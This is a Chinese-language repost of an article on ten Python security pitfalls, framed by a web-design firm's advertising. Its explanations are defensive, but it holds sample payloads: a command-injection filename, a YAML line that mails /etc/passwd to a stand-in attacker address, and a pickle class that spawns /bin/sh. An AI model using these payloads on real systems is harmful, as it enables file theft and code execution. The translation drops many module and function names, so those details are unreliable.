我们已经准备好了,你呢?

2024我们与您携手共赢,为您的企业形象保驾护航!

Pythondebug快捷键_python debug_Pythondebug怎么用

Pythondebug快捷键_Pythondebug怎么用_python debug

编写安全的代码很难。当你学习一门语言、一个模块或一个框架时,你会学习它应该如何使用。当涉及到安全性时,你需要考虑它如何被滥用。即使标准库文档也清楚地指出了不正确的用法,但即便如此,当我与许多开发人员交谈时,我发现他们对此一无所知。

以下是我多年开发过程中经常遇到的10个应用陷阱,排名不分先后,希望对还在学习中的开发者有所帮助。

输入注入

输入注入攻击被广泛使用。注入输入的方法有很多种,影响所有语言、框架和环境。

第一是SQL注入,如果不使用ORM,而是直接通过字符串和变量组合的方式编写SQL查询,就有SQL注入的可能,我见过很多代码尝试使用转义符来防止SQL注入,其实转义符并不好用,易富也做不到。

命令注入发生在通过popen、os.调用进程,并传递变量作为参数时,调用本地命令时,参数变量可能被设置为恶意值,以下代码()由用户提供文件名,然后调用子进程:

import subprocess
def transcode_file(request, filename):
 command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
 subprocess.call(command, shell=True) # a bad idea!

攻击者可以将变量名称设置为“;cat /etc/| mail或任何类似的危险命令。

如何处理:

如果您使用 Web 框架,请使用 Web 框架提供的工具来清理输入。除非有充分理由,否则不要手动拼写 SQL 查询。大多数 ORM 都会提供清理方法。

对于命令行,您可以使用 shlex 模块正确地转义输入(#shlex.quote)。

解析 XML

如果您的应用程序需要加载和解析 XML 文件,那么您使用的 XML 标准库模块可能存在漏洞。通过 XML 进行攻击有几种常见的方法。其中大部分是 DoS 攻击(拒绝服务攻击,其目的是使系统无法正常工作)。这些攻击很常见,尤其是当它们需要解析外部 XML 文件(即不受信任的 XML 文件)时。

其中一种攻击被称为“十亿”攻击,因为其内容通常包含大量的“lol”(十亿),所以得名。其原理是XML可以引用实体,因此XML解析器加载文件时会占用好几个G的内存。不信的话,试试看。



 
 
 
 
 
 
 
 
]>
&lol9;

另一个攻击媒介称为外部实体扩展。XML 支持从外部 URL 引用实体,因此 XML 解析器通常会毫无怀疑地读取和加载外部资源。“由于这些请求来自内部、受信任的 IP 地址,而不是外部地址,因此攻击者可以使用这种方法绕过防火墙并访问其他方式无法访问的资源。”

需要考虑的另一种情况是,当你在解析 XML 时依赖第三方包(例如配置文件、远程 API)时。你甚至不知道哪个依赖项容易受到此攻击。

那又怎么样呢?事实上,标准库模块 etree、DOM 都受到了这次攻击的广泛影响。这里有一份详细的文档:#xml-

解决方案:

将标准库模块替换为()。此模块可防止此类攻击。

断言语句

不要使用断言语句来阻止用户无法访问的代码。例如,在这个简单的示例中:

def foo(request, user):
 assert user.is_admin, “user does not have access”
 # secure code...

默认情况下执行时确实如此,但是在生产环境中,通常会做一些优化,使得所有的语句都不会执行,这样无论用户是不是管理员,都可以访问后续的代码。

解决方案:

断言语句仅用于向开发人员提供信息,例如在单元测试中,或防止不正确的 API 使用。

定时攻击

时序攻击的基本原理是通过测量代码的执行时间来判断代码的行为和算法。时序攻击需要精确的时间测量,因此通常不会在高延迟的远程网络上实施。由于多变性很高,几乎不可能对 HTTP Web 服务器进行时序攻击。

但是,如果有一个命令行应用程序提示输入密码,那么攻击者可以编写一个简单的脚本来测量将给定值与实际密码进行比较所需的时间。 示例如下()。

这里有一些非常好的例子,比如这个基于 SSH 的计时攻击(),你可以查看它来了解它们的工作原理。

解决方案:

使用新的 3.5 功能来比较密码和其他私人值。

受污染的场地或道路

该系统非常灵活。这在编写测试程序或需要重新加载核心功能时非常方便。

然而,它是最大的安全漏洞之一。

在 site- 中安装第三方包(无论是在虚拟环境中还是在全局 site- 中)(强烈不推荐使用全局方法)都会暴露这些包中的安全漏洞。

曾经有案例,在 PyPi 上发布的软件包会执行任意代码,其名称与流行软件包 () 相似。最大的事件至今仍未得到解决,尽管它旨在提醒人们,并没有造成任何伤害……

另一个可以想象的情况是依赖项的依赖项(以及进一步的依赖项等)。这有可能引入脆弱性并可能使整个系统的核心功能过载。

解决方案:

审计包。查看 PyUp.io 及其安全服务 ()。为所有应用程序使用虚拟环境,并使用全局站点 - 越干净越好。检查包签名。

临时文件

要在 中创建临时文件,通常使用 () 生成文件名,然后使用该文件名创建文件。“此方法不安全,因为在您调用 () 和随后调用创建文件之间可能存在另一个进程。创建文件。”(#-- 和 -)这意味着此方法可以诱使应用程序加载不正确的数据,或从临时文件中泄露数据。

在最新版本中,如果调用了错误的方法,则会引发运行时警告。

解决方案:

当您需要创建临时文件时,请使用模块和函数(#.)。

使用 yaml.load

引用文档中的警告:

警告:对来自任意不受信任来源的数据调用 yaml.load 都是不安全的!yaml.load 与 .load 一样强大,可以调用任何函数。

流行项目 () 中有一个很好的例子。向 Vault 提供以下(有效)YAML。它将使用文件中提供的参数调用 os.()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

因此,加载用户提供的 YAML 文件容易受到此攻击。

解决方案:

除非有充分的理由,否则请始终使用 YAML。

反序列化数据与 YAML 一样容易受到攻击。类可以定义魔术方法,返回一个字符串或一个元组,其中包含可调用对象和将在需要时调用的参数。攻击者可以通过这种方式调用子进程模块,从而在系统上执行任意命令。

此示例展示了如何通过类在 2 上打开 shell。这里有更多关于如何攻击的示例。

import cPickle
import subprocess
import base64
class RunBinSh(object):
 def __reduce__(self):
 return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))

解决方案:

切勿从任何不受信任或未经身份验证的数据源提取数据。请使用其他序列化方法,例如 JSON。

使用未打补丁的系统运行时

大多数 POSIX 系统都带有 2,这通常是一个非常旧的版本。

由于是用C编写的,解释器本身有时会存在漏洞。通常与C语言相关的漏洞是在内存分配中,即缓冲区溢出漏洞。

多年来出现过许多溢出漏洞,这些漏洞都在后续版本中得到修复。

所以,只要您及时修补,您就是安全的。

以下是 2.7.13 中的一个示例(),其中整数溢出允许执行任意代码。这是 17 之前的所有操作系统使用的版本(未修补)。

解决方案:

在生产环境中使用最新版本,并记得应用补丁!

无依赖补丁

与修补运行时类似,依赖项也应定期修补。

我认为从 PyP 安装“固定”版本的软件包是一个非常糟糕的主意。这个想法是“这些版本可以正常工作”,所以没有人再关心它们了。

我上面提到的漏洞如果出现在应用程序使用的软件包中也是非常危险的。而这些软件包的开发人员也在不断修复这些安全漏洞。

解决方案:

使用 PyUp.io 之类的服务检查更新,将新补丁合并到您的应用程序中,并运行测试以确保软件包是最新的。

使用诸如等工具来验证生产环境中安装的版本,以确保应用了正确的补丁。

原来的:

作者:Shaw,Data 创新与技术开发总监

二维码
扫一扫在手机端查看

本文链接:https://by928.com/6095.html     转载请注明出处和本文链接!请遵守 《网站协议》
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。

项目经理在线

我们已经准备好了,你呢?

2020我们与您携手共赢,为您的企业形象保驾护航!

在线客服
联系方式

热线电话

13761152229

上班时间

周一到周五

公司电话

二维码
微信
线